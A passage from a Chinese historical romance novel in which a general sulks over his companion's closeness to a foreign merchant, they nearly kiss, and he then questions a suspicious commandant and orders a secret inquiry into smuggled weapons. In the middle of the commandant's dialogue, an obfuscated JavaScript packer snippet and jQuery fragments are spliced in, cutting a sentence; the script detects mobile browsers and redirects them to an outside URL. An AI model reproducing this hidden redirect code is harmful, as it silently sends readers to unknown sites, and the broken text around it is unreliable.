沉玉被他盯得纳闷,戳了戳眼前硬邦邦的手臂,“说话呀,这么看着我,莫非……是我惹着你了?”
她眨眨眼,反思自己今日言行,并无出格之举,“不应该啊?我今日可乖了,忙着互市,也没闯祸……”
“你应承过我的事,”沈郁终于肯开口,开口却是控诉,“没有做到。”
“啊?”沉玉有些懵,大脑飞速运转,她应承什么了?
互市好好办?她办了呀!
注意安全?她很注意啊!
“哪、哪件事啊?我应承过你那么多事……”
见她竟一脸茫然,完全不记得的模样,沈郁的无名火“蹭”地一下窜的更高,
脸色更黑,撂下筷子便想起身,“我吃饱了,你慢慢吃吧!!”
气都气饱了!说罢,他转身就要走。
“诶!且慢!”沉玉眼疾手快,一把攥住他手腕,用力将他按回席上。
“不许当闷葫芦,把话说清楚,我怎么惹着你了?我应承你的事肯定做到,但你得告诉我,我哪件没做到啊?这般没头没脑生闷气,我如何知晓?”
沈郁挣了一下,没挣开,或许也没真想挣开。
两人就这般僵持着。
半晌,沈郁才开口道:“你应承过我,不和那昆莫走得太近!”
沉玉:“……”
就为这个?
她眨眨眼,又眨眨眼,
终于把这茬从记忆中扒拉出来,她好像……是答应过他。
她忙不迭举起三根手指,对灯发誓,“天地良心,我今天真的是例行公事,去看看他们摊位摆的如何,东西卖得可好,有没有遇到麻烦而已。绝对,绝对没有走的太近,我连他摊子都没靠近,就站在边上说了几句。牧云可以为我作证!”
“例行公事也包括被投喂?”沈郁黑沉沉的眼眸盯着她。
“……”
气势顿时矮了半截,沉玉讪讪放下手,摸了摸鼻子,“那个……是他盛情难却,非说我之前误会他们月氏人只会做难吃的饼子,我就一时嘴馋,没忍住尝了一小口,真的就一小口!”
她伸出小指比划了一下,眼神飘忽,“算我错了嘛,不该贪嘴。可这……也不算走的太近是不是?我们这样才算走的近嘛!”
修长的指尖点了点沈郁胸膛,她还在试图给自己开脱。
“你还想和他这般亲近?”沈郁胸口的气堵得更加厉害。
此女着实可恶,聪明的时候像个成精的狐狸,笨起来也是真能气死人!
她到底懂不懂什么叫避嫌,什么叫保持距离?
“大人明鉴,我绝无此意!”
眼见沈郁要炸毛,沉玉登时顺毛。见他脸色依旧不好看。
她眼珠子转了转,松开沈郁手腕,“等我一下。”
鹅黄裙裾随风拂动,她蹬蹬跑到里间小几,又蹬蹬折返。
手里多了一盘紫莹莹的葡萄。身子一歪直接坐到沈郁腿上,面对面将他圈在自己与桌案之间。
“!!!”
沈郁被她这般大胆的举动弄的一僵,手臂下意识抬起,却又不知该往哪里放。
沉玉置若未闻,拈起一颗圆润饱满的葡萄,递到他唇边,又开始撒娇卖乖。
“好嘛好嘛,我知道错了,下不为例。别生气了好不好?尝尝这个,西域商人送我的,可甜了,我特意给你留的……”
她哄孩子似的,示意他张嘴。
带着水汽的葡萄近在咫尺,沈郁抬眼便望进她清澈含笑的眼眸,那里面映着他的倒影。心中燃烧的郁火就这么被她浇灭,只剩下烫人的悸动。
沉玉笑眯眯的将葡萄塞进他嘴里,
“甜吧?吃了我的葡萄就不许生气了,我可没有投喂过他……”
葡萄皮微涩,带着凉意,沈郁舌尖微动,
“唔!”他眉头瞬间蹙起,整张俊脸都皱了一下,转头就想吐掉。
“???怎么了?不好吃?”
沈郁勉强将嘴里酸得人倒牙的葡萄咽下,无奈道:“你不仅眼光有待商榷,连味觉也需再练练。”
沉玉有些茫然,不及细想。
自己也拈了一颗放入口中,分明酸甜多汁。
哪有他形容的那般不堪?
她狐疑看向沈郁,一个念头闪过,“你怕酸?”
像发现了什么新大陆,沉玉凑得更近,几乎要贴到他鼻尖。
“……哈哈,原来我们威风凛凛的沈大将军,竟会怕酸。”
想起他方才被葡萄酸的瞬间变色的脸,
沉玉便乐不可支,揶揄姿态一目了然。
沈郁被她笑的耳根微热,抬手捏住她笑的发颤的脸颊,颇有些恼羞成怒道:“很好笑?”
“唔……不好笑。”
沉玉被他捏着脸,话都说不清楚,眼睛里却盛满笑意,也学着他的样子,去戳他另一边脸颊,被他侧头躲开。
两人就在这窄小的坐席上,你捏我脸,我戳你腰,幼稚地闹作一团。
沉玉忽然停了笑,目光凝在他脸上,头一回这般仔细端详。
烛火在他脸上投下跃动的光影,映着他剑眉星目,鼻梁高挺,眼尾因方才的酸涩染上一丝薄红。
这双眼睛平日冷冽威仪,而今却因与她嬉闹,笑意盎然,如寒夜的一点星空。
“很可爱……”
沉玉呢喃道,指尖沿着他脸颊的轮廓,缓慢游移,扫过鼻梁时,温热的气息拂在她指尖。
心跳不知何时漏了节拍,又似鼓点般撞击着胸口。
近在咫尺的俊颜,理智被深邃眼眸吸引着,意识慢慢被烛光融化,沉玉像着了魔般,向着微凉的薄唇靠近。
温热的气息交融,距离一寸寸缩短……
“咚咚。”门扉被叩响。
管家的声音隔着门板传来:“将军,郡守大人求见。”
“!!!”
如同一盆雪水兜头浇下。
沉玉蓦地从那魔怔般的氛围中惊醒,手忙脚乱从沈郁身上弹开,眼神四下飘忽,就是不敢看沈郁。
沈郁怀中骤然一空,只余一缕冷梅幽香,眼底闪过一丝被打扰的不耐,
压下眸中翻涌的暗色,沉声应道:“知道了,让他前厅候着。”
沉玉只觉脸上热度灼人,心慌意乱,她轻咳两声掩饰自己的不自在,
嗫嚅道:“那个……我去寻市令处新理的账册,晚点呈给将军,将军既有要事,就先、先忙吧。”
说完也不等他回应,拎着裙摆落荒而逃。
独留沈郁在原处,半晌才抬手,指腹擦过自己下唇,那里还残留着她方才靠近时温热甜软的气息,
轻嗤道:“胆小鬼。”
--
前厅。
罗狩端着茶盏,看似悠闲,余光却不时嫖向厅外。
见沈郁一身玄色常服,面容冷峻,他立刻放下茶盏,起身拱手,满脸堆笑。
“下官深夜叨扰,实属不该。只是关于沙月关驿站的后续处理事宜,心下不安,特来向将军禀明,还望将军勿怪。”
沈郁在主位坐下,抬手示意他也坐,开口问道:“郡守何事不安?但说无妨。”
“听闻将军此番剿匪,大获全胜,下官钦佩。只是……那沙月关被马匪占据已久,不知道将军可曾……发现什么异常?下官担忧这群宵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617665|204758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小之辈,曾借此地行不法勾当,如有遗漏,恐为边关之患。”
沈郁慢条斯理拨了拨茶盏里的浮叶,问道:“郡守口中的异常……指的是?”
“这……下官也不甚清楚。”
罗狩干笑两声,“只是那驿站毕竟曾属官署,下官既掌一方民政,总需理解一二。将军若有所得,下官也好配合清查,上报朝廷。”
“说起此事,本将确有一事不明。大人此前呈报,曾派员探查沙月关,称有二三百人盘踞,声势颇大。可本将此番亲至,所见匪众不过数十。
不知大人这二三百之数,从何而来,派去查探之人,可曾真到了驿站,亲眼所见?”
罗狩面露惶恐,连忙起身:“将军明鉴!下官岂敢虚报。
确曾派过一对衙役前往探查,只是……只是那些人凶悍异常,衙役们尚未靠近便被发现,只得狼狈退回,还折损了两人。这数量是逃回的衙役根据所见炊烟,人马痕迹估算而来。许是……许是有误,但绝无欺瞒之心啊将军!”
他语气急切,额角似有微汗。
沈郁静静看了他片刻,直看的罗狩后背发凉,“那驿站再被匪徒占据之前,是些什么人在经营?可有何背景?”
“回将军,那就是个普通官驿,地处偏僻,往来多是些不得志的驿卒。经营数年一直风平浪静,因此不甚紧要,往来公文也少,州府便未曾多管,下官也只是例行巡检罢了。谁承想……竟被匪徒占了去。”
沈郁心中冷笑,那地窖中的大批军械与那神秘铁盒,可不像什么普通驿站该有的东西。
这罗狩要么是真糊涂,被下面人糊弄,要么就是揣着明白当糊涂。
“原是如此。”
沈郁按下不表,不甚在意道:“匪患已除,郡守也不必过于挂怀。按章程办事便是。”
“是是是,下官定当尽心竭力。”
罗狩连连应承,又问道:“那……驿站中若寻得什么文书,器物,可需下官派人协助清点归档?”
“不必,”
沈郁摆摆手,送客意味明显,
“军中自有规程。夜既已深,大人早些回去吧。”
话已至此,罗狩也不敢再多言,恭敬行李后退了出去。
“凌季。”待罗狩背影彻底消失,沈郁才沉声唤道。
一道欣长劲瘦的影子应声而入,“将军。”
沈郁负手而立,指节轻敲窗棂,
“沙月关缴获的那批军械与三个月前,沉玉牵涉其中的案子,印记,制式皆出自同一批。”
他转身将桌案上的册子递给凌季,“顺着这条线,给我摸清楚,这批军械从何处流出,又经过哪些人的手,又是如何流到商队,成为沉玉定罪的证据。”
凌季双手接过册子一扫,“将军是怀疑玉姑娘那桩案子,背后另有隐情?”
“一切过于巧合。这桩案子由广固城彻查,走私军械的大案,牵涉甚广,查证却仓促,定罪迅猛,问斩圣旨亦是下得蹊跷。
不问军械来路,不深究去向,只急急催促将一干涉案人犯尽数问斩。不似破案……倒像是灭口。”
且他仍记忆犹新,沉玉在断头台上声声喊冤,句句不平。
沈郁眼底寒意凝聚,“还有这罗狩,沙月关剿匪已过数日,驿站清理完毕,消息早已传开,此时才想起过问。要么是尸位素餐,对此事毫不在意,要么是他背后之人,察觉到了什么,派他来打探虚实。”
“你亲自去查,我要知道这件事的来龙去脉。看看到底是谁在背后推波助澜。此事关系重大,务必暗中进行,谨慎为上,不可打草惊蛇。”
“是!”凌季抱拳,沉声应道。